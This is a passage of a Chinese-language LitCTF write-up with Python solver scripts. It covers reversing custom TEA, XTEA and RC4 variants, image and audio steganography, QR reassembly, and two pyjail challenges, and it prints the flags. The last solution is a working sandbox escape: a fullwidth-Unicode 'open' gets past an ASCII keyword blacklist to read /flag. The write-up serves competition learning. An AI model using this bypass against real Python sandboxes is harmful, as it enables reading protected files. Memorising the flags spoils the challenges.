return struct.pack("<2I", v0, v1)

pt = b"".join(tea_dec_block(cipher[i:i+8], key) for i in range(0, len(cipher), 8))
pad = pt[-1]
flag = pt[:-pad].decode()
print(flag)

flag:

1
LitCTF{rev03_tea_standard!!}

lit_xtea_tweak

程序整体结构是标准的“PKCS#7 填充 + 8 字节分组加密 + 内存密文比较”,但加密核心不是 TEA,而是 XTEA,且轮常数 delta 被改成了 0xDEADBEEF。如果直接套标准 XTEA 脚本,因 delta 不一致会解不出正确明文。

Step 1: Recover XTEA variant parameters and decrypt

汇编关键点:

  • 填充后总长度必须为 0x20
  • 4 个 8-byte block
  • key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]
  • 每轮通过 sub 0x21524111 更新 sum

因为:

0 - 0x21524111 == 0xDEADBEEF (mod 2^32)

所以这实际上是一个 delta = 0xDEADBEEF 的 XTEA 变体。解密时只要把标准 XTEA 里的 delta 换掉即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import struct

cipher = bytes.fromhex(
"e3ee1ee7d3a7966f"
"c6a7b9e1b94e6786"
"5f0304a6dbbbb940"
"563af79eee64d406"
)

key = [0x11111111, 0x22222222, 0x33333333, 0x44444444]
delta = 0xDEADBEEF

def xtea_dec_block(block, k):
v0, v1 = struct.unpack("<2I", block)
total = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - ((((v0 << 4) & 0xFFFFFFFF) ^ (v0 >> 5)) + v0 ^ (total + k[(total >> 11) & 3]))) & 0xFFFFFFFF
total = (total - delta) & 0xFFFFFFFF
v0 = (v0 - ((((v1 << 4) & 0xFFFFFFFF) ^ (v1 >> 5)) + v1 ^ (total + k[total & 3]))) & 0xFFFFFFFF
return struct.pack("<2I", v0, v1)

pt = b"".join(xtea_dec_block(cipher[i:i+8], key) for i in range(0, len(cipher), 8))
pad = pt[-1]
flag = pt[:-pad].decode()
print(flag)

flag:

1
LitCTF{rev04_xtea_delta_twk!}

lit_rc4_variant

程序实现了一个 64 字节状态的 RC4 变体。关键点是输出字节不是标准 RC4 的 S[(S[i]+S[j])&255],而是先在模 64 状态上做交换,再取 S[i] + S[(old_si + S[i]) & 0x3f] 作为 keystream,与输入异或后和内存中的目标密文比较。

Step 1: Recover key and ciphertext from .rdata

静态分析 main 可以直接看到:

  • 状态数组大小为 64
  • 密钥字符串为 lit_rc4_key!
  • 比较目标密文位于 .rdata,长度为 0x1d = 29
  • 校验关系为 encrypt(input) == cipher

因此只要复现 KSA/PRGA,并用同样的 keystream 去异或目标密文,即可直接恢复明文 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
key = b"lit_rc4_key!"
cipher = bytes([
0x7b, 0x3d, 0x38, 0x77, 0x4e, 0x72, 0x42, 0x7d,
0x45, 0x37, 0x76, 0x0f, 0x53, 0x53, 0x4f, 0x66,
0x37, 0x17, 0x75, 0x37, 0x5f, 0x49, 0x58, 0x72,
0x74, 0x7f, 0x79, 0x1f, 0x3a,
])

S = list(range(64))
K = [key[i % len(key)] for i in range(64)]

j = 0
for i in range(64):
j = (j + S[i] + K[i]) & 0x3F
S[i], S[j] = S[j], S[i]

i = 0
j = 0
out = []
for c in cipher:
i = (i + 1) & 0x3F
old_si = S[i]
j = (j + old_si) & 0x3F
S[i], S[j] = S[j], S[i]
ks = (S[i] + S[(old_si + S[i]) & 0x3F]) & 0xFF
out.append(c ^ ks)

flag = bytes(out).decode()
print(flag)

flag:

1
LitCTF{rev05_rc4_variant_64!}

misc

lit_welcome

图片表面上只有欢迎语,实际用了近白色文本隐藏内容。通过提取颜色差异非常小的像素即可把隐藏层恢复出来,再人工读取文字得到 flag。

Step 1: 提取近白色像素

原图只有两种颜色:(255,255,255)(254,255,255)。也就是说只在红色通道最低位上藏了内容,把不是纯白的像素提出来即可恢复隐藏文字。

1
2
3
4
5
6
7
8
9
10
11
12
from PIL import Image

img = Image.open("welcome.png").convert("RGB")
mask = Image.new("L", img.size, 255)

for y in range(img.height):
for x in range(img.width):
if img.getpixel((x, y)) != (255, 255, 255):
mask.putpixel((x, y), 0)

mask.save("welcome_mask.png")
print("saved welcome_mask.png")

Step 2: 放大/反相后人工读取隐藏文本

提取后的隐藏层在工作区内已有这些文件:

  • lit_welcome/welcome_mask.png
  • lit_welcome/welcome_visible.png
  • lit_welcome/top_tight.png
  • lit_welcome/mid_tight.png

其中 mid_x4.png/mid_tight.png 对应的隐藏文本可直接读出,得到 flag。

flag:

1
LitCTF{w3lc0m3_t0_m1sc_w0rld}

lit_rush_qr

附件是一个闪得很快的 GIF。逐帧拆开后可以发现每帧都只给出二维码的一部分,利用高纠错二维码的恢复能力叠合后即可扫码得到 flag。

Step 1: 拆帧并合成二维码

把 GIF 拆成多帧后,可以看到不同帧里出现了二维码的不同区域。将多帧做合成或按像素投票后,能得到足够完整的二维码图像。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from PIL import Image, ImageSequence

gif = Image.open("rush.gif")
frames = [f.convert("1") for f in ImageSequence.Iterator(gif)]

w, h = frames[0].size
out = Image.new("1", (w, h), 1)

for y in range(h):
for x in range(w):
vals = [f.getpixel((x, y)) for f in frames]
out.putpixel((x, y), 0 if vals.count(0) > vals.count(255) else 255)

out.save("rush_majority.png")
print("saved rush_majority.png, then scan it")

Step 2: 扫描恢复后的二维码

恢复图像后直接扫码即可,得到 flag。

flag:

1
LitCTF{qr_h1gh_3rr_c0r_r3c0v3ry}

lit_lsb_base64

题目给了一张 PNG,并明确提示 LSB。做法是提取图片最低有效位得到一串 Base64,再解码得到 flag。

Step 1: 提取 LSB 并拼接为 Base64

核心观察是图片存在标准 LSB 隐写。把像素位流按顺序取出后,可以恢复出可打印的 Base64 文本,再做一次 Base64 解码即可得到 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from PIL import Image
import base64

img = Image.open("challenge.png").convert("RGB")
bits = []
for r, g, b in img.getdata():
bits.extend([str(r & 1), str(g & 1), str(b & 1)])

data = bytearray()
for i in range(0, len(bits) // 8 * 8, 8):
byte = int("".join(bits[i:i+8]), 2)
if byte == 0:
break
data.append(byte)

payload = data.decode()
print(payload)
print(base64.b64decode(payload).decode())

flag:

1
LitCTF{lsb_1s_fun_w1th_b4s3_64}

lit_sstv

附件是 SSTV 编码进音频的 WAV。对音频做 SSTV 解调后可以恢复出一张图片,图片中的可见文本直接给出 flag。

Step 1: 确认音频为 SSTV,并锁定 Martin 1

signal.wav 做频谱分析后,可以看到明显的 SSTV 头部结构和 VIS 码。结合头部频率与行间隔,最强假设是 Martin 1

1
2
3
4
5
6
import wave
import numpy as np
from PIL import Image

print("Use Martin-1 timing to decode signal.wav into a 320x256 image")
print("Existing workspace artifacts include: auto_martin1.png / auto_martin1_sharp.png")

Step 2: 从恢复图像中直接读取文本

当前工作区里已经生成了:

  • auto_martin1.png
  • auto_martin1_sharp.png
  • sstv_m1_tracked_auto_contrast.png

其中增强后的恢复图中可以直接读到:LitCTF{sstv_p4t13nc3}

flag:

1
LitCTF{sstv_p4t13nc3}

lit_pyjail_reader

这题名字叫 pyjail,但实际上没有代码执行点。附件源码已经把解法写死了:过一个反转验证码,然后按提示连续读取两个文件,第二次就能拿到 flag。

Step 1: 自动过验证码并按流程读两次文件

第一次输入需要把 8 位大写串反转。随后读 /app/where_is_flag.txt,它会返回真正的 flag 路径,再读取一次即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import re

HOST = "challenge.cyclens.tech"
PORT = 32125

r = remote(HOST, PORT)
banner = r.recvuntil(b": ")

m = re.search(rb"reverse of '([A-Z]{8})'", banner)
challenge = m.group(1).decode()
r.sendline(challenge[::-1].encode())

r.recvuntil(b"File path (1/2): ")
r.sendline(b"/app/where_is_flag.txt")

resp = r.recvuntil(b"File path (2/2): ").decode()
path = re.search(r"--- begin ---\n(.*?)\n--- end ---", resp, re.S).group(1).strip()

r.sendline(path.encode())
print(r.recvall(timeout=2).decode())

flag:

1
flag{pktlc9hs-tyjb-4n7-8dsq-x3lxgvbunxdt5}

lit_pyjail_unicode

黑名单只检查原始输入中的 ASCII 关键字,但 Python 在解析标识符时会做 Unicode 规范化。用全角 open 绕过 open 关键字过滤即可直接读 /flag

Step 1: 用全角标识符绕过源码级黑名单

源码中 banned() 只匹配原始字符串里的 open/import/eval/...。因此将 open 写成全角 open,正则不会命中,但 Python 解释器仍能把它识别成真正的 open

1
2
3
4
5
6
7
8
9
10
from pwn import *

HOST = "challenge.cyclens.tech"
PORT = 32238
payload = 'open("/flag").read()'

r = remote(HOST, PORT)
r.recvuntil(b"> ")
r.sendline(payload.encode("utf-8"))
print(r.recvall(timeout=2).decode())

flag:

1
flag{bdxqjkd5-kk5s-4p0-8bzb-wkkrwydzd8b9s}